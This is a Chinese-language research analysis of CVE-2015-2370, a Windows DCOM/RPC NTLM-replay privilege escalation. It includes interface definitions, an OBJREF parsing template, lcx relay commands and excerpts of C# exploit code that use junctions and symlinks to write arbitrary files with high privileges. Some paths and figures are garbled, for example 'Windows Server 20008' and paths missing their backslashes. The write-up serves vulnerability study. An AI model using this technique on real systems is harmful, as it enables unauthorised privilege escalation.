CVE-2015-2370之DCOM DCE/RPC協議原理詳細分析
漏洞成因分析
這個CVE-2015-2370漏洞是一種DCOM DCE/RPC協議中ntlm認證後資料包重放導致的許可權提升漏洞
分析的重點DCOM DCE/RPC協議原理,這個協議主要由2塊內容組成,dcom的遠端啟用機制和ntlm身份認證
1.dcom的遠端啟用機制
ofollow,noindex" target="_blank">微軟官方解釋
有一個執行在135埠的rpcss服務也就是dcom的啟用服務負責協調本機所有com物件的啟用,當本機啟用時採用通過核心通訊,無法捕獲資料包,屬於內部操作,只有當遠端啟用或遠端重定向到本機啟用這種方式才可以捕獲到資料包.遠端啟用有2種方式,一種是採用CoCreateInstanceEx方式指定遠端伺服器和啟用身份等引數呼叫rpscss的IRemoteSCMActivator介面的RemoteCreateInstance方法啟用,或者CoGetClassObject =呼叫rpscss的IRemoteSCMActivator介面的RemoteGetClassObject方法啟用同樣可選指定遠端伺服器和啟用身份等引數.還有一種方式方式是客戶端marshal服務端unmarshal方式,在marshal的stream中寫入 OBJREF 通過其中的DUALSTRINGARRAY欄位指定遠端解析的伺服器或埠,遠端伺服器rpcss服務採用IObjectExporter介面中的ResolveOxid或ResolveOxid2方法實現反序列化出來需要unmarshal的遠端com物件remunkown指標.CVE-2015-2370是通過在ntlm身份認證後在ResolveOxid2之後又重放了一個RemoteCreateInstance請求導致以客戶端的高許可權創建出來一個OLE Packager的檔案實現了許可權提升.使用者也可以建立一個rpc服務實現自己實現這2個介面自定義的rpcss解析和啟用服務.這2個模組的可以在rpcss服務載入的rpcss.dll中找到具體實現,以下是介面定義:
[ uuid(99fcfec4-5260-101b-bbcb-00aa0021347a), pointer_default(unique) ] //marshal方式 interface IObjectExporter { [idempotent] error_status_t ResolveOxid ( [in]handle_thRpc, [in]OXID*pOxid, [in]unsigned shortcRequestedProtseqs, [in,ref, size_is(cRequestedProtseqs)] unsigned shortarRequestedProtseqs[], [out, ref] DUALSTRINGARRAY **ppdsaOxidBindings, [out, ref] IPID*pipidRemUnknown, [out, ref] DWORD*pAuthnHint ); [idempotent] error_status_t SimplePing ( [in]handle_thRpc, [in]SETID*pSetId ); [idempotent] error_status_t ComplexPing ( [in]handle_thRpc, [in, out]SETID*pSetId, [in]unsigned shortSequenceNum, [in]unsigned shortcAddToSet, [in]unsigned shortcDelFromSet, [in, unique, size_is(cAddToSet)]OID AddToSet[], [in, unique, size_is(cDelFromSet)] OID DelFromSet[], [out]unsigned short *pPingBackoffFactor ); [idempotent] error_status_t ServerAlive ( [in]handle_thRpc ); [idempotent] error_status_t ResolveOxid2 ( [in]handle_thRpc, [in]OXID*pOxid, [in]unsigned shortcRequestedProtseqs, [in,ref, size_is(cRequestedProtseqs)] unsigned shortarRequestedProtseqs[], [out, ref] DUALSTRINGARRAY **ppdsaOxidBindings, [out, ref] IPID*pipidRemUnknown, [out, ref] DWORD*pAuthnHint, [out, ref] COMVERSION*pComVersion ); [idempotent] error_status_t ServerAlive2 ( [in]handle_thRpc, [out, ref] COMVERSION*pComVersion, [out, ref] DUALSTRINGARRAY **ppdsaOrBindings, [out, ref] DWORD*pReserved ); } [ uuid(000001A0-0000-0000-C000-000000000046), pointer_default(unique) ] //CoCreateInstanceEx方式 interface IRemoteSCMActivator { void Opnum0NotUsedOnWire(void); void Opnum1NotUsedOnWire(void); void Opnum2NotUsedOnWire(void); HRESULT RemoteGetClassObject( [in] handle_t rpc, [in] ORPCTHIS *orpcthis, [out] ORPCTHAT *orpcthat, [in,unique]MInterfacePointer *pActProperties, [out] MInterfacePointer **ppActProperties ); HRESULT RemoteCreateInstance( [in] handle_t rpc, [in] ORPCTHIS *orpcthis, [out] ORPCTHAT *orpcthat, [in,unique]MInterfacePointer *pUnkOuter, [in,unique]MInterfacePointer *pActProperties, [out] MInterfacePointer **ppActProperties ); }
2.ntlm身份認證機制分析
CVE-2015-2370採用CoGetInstanceFromIStorage方式觸發伺服器從IStorage自身實現的IMarhal介面的MarshalInterface方法往stream中寫入marshaldata
HRESULT CoGetInstanceFromIStorage( COSERVERINFO *pServerInfo, CLSID*pClsid, IUnknown*punkOuter, DWORDdwClsCtx, IStorage*pstg, DWORDdwCount, MULTI_QI*pResults );
marshaldata是一個OBJREF可以通過如下指令碼使用010editor解析
local unsigned short sizetp; struct tagOBJREF { bytesignature[4]; unsigned longflags; struct iid { unsigned int Data1; unsigned ushort Data2; unsigned ushort Data3; byte Data4[8]; } _iid; if(OBJREF.flags==01h) { struct tagOBJREF_standard { unsigned longflags; unsigned longcPublicRefs; struct oxid { DWORD LowPart; LONG HighPart; }_oxid; struct oid { DWORD LowPart; LONG HighPart; }_oid; struct ipid { unsigned int Data1; unsigned ushort Data2; unsigned ushort Data3; byte Data4[8]; } _ipid; struct tagDUALSTRINGARRAY { unsigned shortwNumEntries; Printf("wNumEntries is %d",sizetp); unsigned shortwSecurityOffset; sizetp=wSecurityOffset-2; struct tagSTRINGBINDING { unsigned shortwTowerId; unsigned shortaNetworkAddr[sizetp]; } STRINGBINDING; byte nullterm1[2]; struct tagSECURITYBINDING { unsigned shortwAuthnSvc;// Must not be zero unsigned shortwAuthzSvc;// Must not be zero unsigned shortaPrincName;// NULL terminated } SECURITYBINDING; byte nullterm2[2]; } dualstringarray; } OBJREF_standard; } if(OBJREF.flags==02h) { struct tagOBJREF_handler { unsigned char std[40]; struct clsid { unsigned int Data1; unsigned ushort Data2; unsigned ushort Data3; byte Data4[8]; } _clsid; unsigned char saResAddr[8]; } OBJREF_handler; } if(OBJREF.flags==04h) { struct tagOBJREF_custom { struct clsid_custom { unsigned int Data1; unsigned ushort Data2; unsigned ushort Data3; byte Data4[8]; } _clsid_custom; unsigned longcbExtension; unsigned longsize; unsigned byte pData; } OBJREF_custom; } if(OBJREF.flags==08h) { unsigned byte std[40]; unsigned byte pORData[4]; unsigned byte saResAddr[12]; } } OBJREF;
結果是一個standard的matshal模式,其中的DUALSTRINGARRAY欄位指定遠端解析的伺服器為127.0.0.1的6666埠,也就是我們要使用中間人攻擊監聽埠,如下
127.0.0.1的6666監聽的資料包經過中轉後最終傳送至135埠的rpcss服務,服務端先進行ServerAlive進行伺服器時候線上確認,之後進行ntlm身份認證.
NTLM認證共需要三個訊息完成:
(1). Type1 訊息: Negotiate 協商訊息。
客戶端在發起認證時,是首先向伺服器傳送協商訊息,協商需要認證的服務型別從資料包中UUID為IOXIDResolver(99fcfec4-5260-101b-bbcb-00aa0021347a)代表協商的服務是IObjectExporter,如圖它被我們替換成了ISystemActivator(000001a0-0000-0000-c000-000000000046)代表協商的服務替換成IRemoteSCMActivator方式,這裡CVE-2015-2370為之後重放了一個RemoteCreateInstance請求做鋪墊,告訴rpcss服務要最終要啟用和請求是RemoteCreateInstance資料包中的內容,Type1 訊息中的Negotiate Flags代表客戶端要和伺服器端協商加密等級
(2). Type2 訊息: Challenge 挑戰訊息。
伺服器在收到客戶端的協商訊息之後,在Negotiate Flags寫入出自己所能接受的加密等級,並生成一個隨機數challenge返回給客戶端.這個challenge實際上也可以被重放,由接受另一個Authenticate來認證,實現身份竊取,筆者會在接下去的實驗中認證.如果Type2 訊息的reserved欄位不為0,為本機內部認證,可以在 RottenPotato 類似的方式使用 SSPI 中的函式獲取SecurityContext,有興趣的讀者可以研究下.
(3). Type3 訊息: Authenticate啟用訊息。
客戶端在收到服務端發回的Challenge訊息之後,讀取了服務端的隨機數challenge。使用自己的客戶端身份資訊以及伺服器的隨機數challenge通過複雜的運算,生成一個客戶端隨機數challenge和客戶端的在Negotiate Flags,如果包含簽名這會把整個Authenticate認證訊息加入運算,導致身份竊取替換無效,如無簽名可以替換,詳細看實驗證明.Authenticate認證訊息傳送之後客戶端會在伺服器端返回之前接著傳送ResolveOxid2(IObjectExporter模式)或RemoteCreateInstance(IRemoteSCMActivator模式)給伺服器端,告訴伺服器端最終需要解析的請求.
(4). 伺服器在收到 Type3的訊息之後,處理請求後會返回啟用成功或失敗訊息,至此dcom遠端啟用完成
3.任意檔案建立過程
從資料包分析IRemoteSCMActivator::RemoteCreateInstance主要是其中pActProperties結構其中包含這幾個常見欄位
詳細解釋可以參考 官方文件 ,其中InstanceInfoData的InstantiatedObjectClsId是表示要建立com例項的OLE Packager的clsid: {F20DA720-C02F-11CE-927B-0800095AE340},由於wireshark錯位的原因以二進位制中的資料為準
OLE Packager是一個ActiveX控制元件的包格式,會將自身在pActProperties其中的InstanceInfoData欄位的ifdStg的marshal結構中的二進位制資料寫入C:\Users\<username>\AppData\Local\Temp(2)的檔案中當被建立時
typedef struct tagInstanceInfoData { [string] wchar_t* fileName; DWORD mode; MInterfacePointer* ifdROT; MInterfacePointer* ifdStg; } InstanceInfoData;
這個ifdStg也是一個OBJREF結構,它通過一個ObjrefMoniker將這個OLE Packager物件轉換而成,CreateObjrefMoniker是一個將com物件marshal後轉換成一個moniker可以在ObjrefMoniker::GetDisplayName函式中獲取Base64Encoded的OBJREF二進位制資料的函式.poc中讀取原始檔的二進位制資料filedata是最終要建立高許可權檔案的內容寫入OLE Packager,導致在OLE Packager的unmarshal後位於C:Users<username>AppDataLocalTemp建立一個檔名為(2)的檔案內容為filedata,通過建立CreateJunction給temp和C:userspubliclibrariesSym資料夾使(2)的檔案也會在Sym裡建立,同時建立CreateSymlink給Sym資料夾的(2)檔案和最終要寫入的任意檔案路徑,導致(2)中的filedata二進位制寫入目標檔案,最終實現RemoteCreateInstance被伺服器端解析後以高許可權程序寫入任意檔案
public const string CLSID_Package = "f20da720-c02f-11ce-927b-0800095ae340"; public static IStorage CreatePackageStorage(string name, byte[] filedata) { //將原始檔的二進位制資料filedata寫入OLE Packager MemoryStream ms = new MemoryStream(PackageBuilder.BuildPackage(name, filedata)); IStorage stg = CreateStorage("dump.stg"); ComUtils.OLESTREAM stm = new ComUtils.OLESTREAM(); stm.GetMethod = (a, b, c) => { //Console.WriteLine("{0} {1} {2}", a, b, c); byte[] data = new byte[c]; int len = ms.Read(data, 0, (int)c); Marshal.Copy(data, 0, b, len); return (uint)len; }; OleConvertOLESTREAMToIStorage(ref stm, stg, IntPtr.Zero); //寫入OLE Packager的clasid Guid g = new Guid(CLSID_Package); stg.SetClass(ref g); return stg; } //通過ObjrefMoniker建立二進位制OBJREF填充ifdStg public static byte[] GetMarshalledObject(object o) { IMoniker mk; CreateObjrefMoniker(Marshal.GetIUnknownForObject(o), out mk); IBindCtx bc; CreateBindCtx(0, out bc); string name; mk.GetDisplayName(bc, null, out name); return Convert.FromBase64String(name.Substring(7).TrimEnd(':')); } [MTAThread] static void DoRpcTest(object o, ref RpcContextSplit ctx, string rock, string castle) { ManualResetEvent ev = (ManualResetEvent)o; TcpListener listener = new TcpListener(IPAddress.Loopback, DUMMY_LOCAL_PORT); byte[] rockBytes = null; //讀取原始檔的二進位制資料filedata寫入OLE Packager try { rockBytes = File.ReadAllBytes(rock); } catch { Console.WriteLine("[!] Error reading initial file!"); Environment.Exit(1); } Console.WriteLine(String.Format("[+] Loaded in {0} bytes.", rockBytes.Length)); bool is64bit = !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("PROCESSOR_ARCHITEW6432")); try { Console.WriteLine("[+] Getting out our toolbox..."); if (is64bit) { File.WriteAllBytes("C:\users\public\libraries\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx64); } else { File.WriteAllBytes("C:\users\public\libraries\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx86); } } catch { Console.WriteLine("[!] Error writing to C:\users\public\libraries\createsymlink.exe!"); Environment.Exit(1); } string name = GenRandomName(); string windir = Environment.GetFolderPath(Environment.SpecialFolder.Windows); string tempPath = Path.Combine(windir, "temp", name); //Sym資料夾使(2)的檔案也會在Sym裡建立 if (!CreateJunction(tempPath, ""C:\users\public\libraries\Sym\")) { Console.WriteLine("[!] Couldn't create the junction"); Environment.Exit(1); } //Sym資料夾使(2)中的filedata二進位制寫入目標檔案castle if (CreateSymlink("C:\users\public\libraries\Sym\ (2)", castle)) //Exit bool is inverted! { Console.WriteLine("[!] Couldn't create the SymLink!"); Environment.Exit(1); } IStorage stg = ComUtils.CreatePackageStorage(name, rockBytes); byte[] objref = ComUtils.GetMarshalledObject(stg); ..... }
復現小實驗
1.實驗環境
作業系統:Windows Server 20008 R2
開發環境: vs2013
2.實驗設計
我設計了一個實驗來演示ntlm資料包重放現象, git地址
我建立了2個使用者alice和bob,分別以alice和bob身份CoCreateInstanceEx建立一個com物件.然後把這2個建立過程的資料包通過2個lcx伺服器(192.168.0.6=>proxy1和192.168.0.12->proxy2)的135埠中轉至本機135埠,通過以下lcx命令:
在192.168.0.6和192.168.0.12上分別執行
lcx -listen 1234 135
在本機上執行
lcx -slave 192.168.0.6 1234 127.0.0.1 2222
lcx -slave 192.168.0.12 1234 127.0.0.1 6666
過程如下圖:
在這個程序中把把rpcss服務給alice的ntlm認證tyep2 Challenge啟用訊息轉發給接收bob,alice繫結的rpcss服務接收bob的tyep3 Authenticate訊息的,把rpcss服務給bob的tyep2 Challenge轉發給alice,bob繫結rpcss服務接收alice的tyep3 Authenticate訊息的,由於ntlm機制的原因Challenge和Authenticate訊息都是本機的啟用訊息,Authenticate訊息也沒有給自己添加簽名(IRemoteSCMActivator模式),我們看資料包分析
結果都返回了RemoteCreateInstance成功的返回訊息
接下來我們把alice的身份換成了一個不存在的使用者alice1,也以同樣的方式轉發tyep2 Challenge和tyep3 Authenticate訊息,實驗的結果是這個不存在的alice1使用者反而被bob成功建立CoCreateInstanceEx了com物件,反過來說原本應該成功的bob被alice1的身份替換了反而建立失敗
3.實驗結論
既然alice和bob的訊息可以通過替換身份資訊建立com物件,那麼以CVE-2015-2370中採用CoGetInstanceFromIStorage方式以system許可權的IObjectExporter中的ntlm認證訊息能以這樣方式重放嗎,答案是不行的,因為IObjectExporter的tyep3 Authenticate包含對IObjectExporter的簽名,rpcss服務還是會對RemoteCreateInstance請求返回拒絕訪問,但是CVE-2015-2370方式是可以的因為之前替換了IOXIDResolver了ISystemActivator的啟用方式,tyep3 Authenticate訊息仍然保持之前對訊息簽名而且資料包沒中轉,RemoteCreateInstance請求仍是簽名過的,所以最後會成功.另外提一點IObjectExporter的簽名等級高於IRemoteSCMActivator,如果有中轉IObjectExporter到IRemoteSCMActivator是不行的,但是IRemoteSCMActivator到IObjectExporter是可以的,但是IObjectExporter建立不了com物件,所以沒法實現提權.如果讀者有興趣可自行嘗試